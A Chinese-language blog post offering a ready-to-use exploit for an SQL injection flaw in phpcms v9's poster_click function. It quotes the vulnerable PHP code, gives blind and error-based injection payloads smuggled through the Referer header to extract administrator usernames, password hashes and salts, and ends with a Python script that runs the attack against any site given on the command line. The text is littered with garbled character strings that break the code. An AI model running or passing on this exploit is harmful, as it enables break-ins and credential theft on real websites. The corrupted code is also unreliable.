phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
4 n9 e# D( R  F  o) y+ t$ e: e" n
问题函数\phpcms\modules\poster\index.php
  T: t7 F& e$ V+ d) d
# d7 |9 P# t6 s0 ?public function poster_click() {
9 s7 J+ I* v, ?; I! ?3 ~& x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
, w, G3 {4 L* F$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
. y9 C) V7 d) Z" ]; |$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% A; F# ^7 d  E: hif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
4 ?0 \8 u! I: q) t# J7 }1 N$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
! n" o# \1 ?" {5 b$setting = string2array($r['setting']);
  h/ E! b! d, B% Wif (count($setting)==1) {
) q* q- P. D3 K/ {0 v1 K: l$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- e. ^; D# n( Y9 S}
$ l- s% @, i! z9 Gheader('Location: '.$url);
}
0 c! u+ H5 f& E


利用方式：
# a+ E: k) L6 h) e* H4 u, A  o
$ @  m( d7 S* Z2 _5 w/ Q. u1、可以采用盲注入的手法：

' {; y* Z4 D! \/ \5 vreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

1 d# ]# V& J9 z2、代码是花开写的，随手附上了：
# M$ J1 Z* J1 h
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。


  F( X% G: q, O, A! S6 J) o
& \" t$ n5 l& g利用程序:

3 Y8 W, }0 U# R! y3 M. f- |#!/usr/bin/env python
1 y/ f3 l; l$ Y2 m) n9 timport httplib,sys,re

def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
; s3 [: }- E) K% K7 g) I3 [url=sys.argv[1]
2 j! G6 z% k7 A& o4 bpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
! V8 }" q; w3 p$ Q" Y$ Fi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
4 @+ e' V6 t1 x% y1 @  u1 Y- H“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
& x! K+ I, v3 y8 Ydatas=re.findall(r”Duplicate entry \’\w+’”, datas)
  B( {+ H, x- \8 Z2 u0 w* tprint datas[0]
conn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
, R5 Q7 ^8 J& @/ V' o/ R- Lprint “Usgae:”
7 |" s2 E6 X( I- c0 Uprint “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
" T' q  {+ r* ]) E+ g6 Ssys.exit(1)
attack()

- Y7 p! O  w8 J% ]: L, c; ~! Z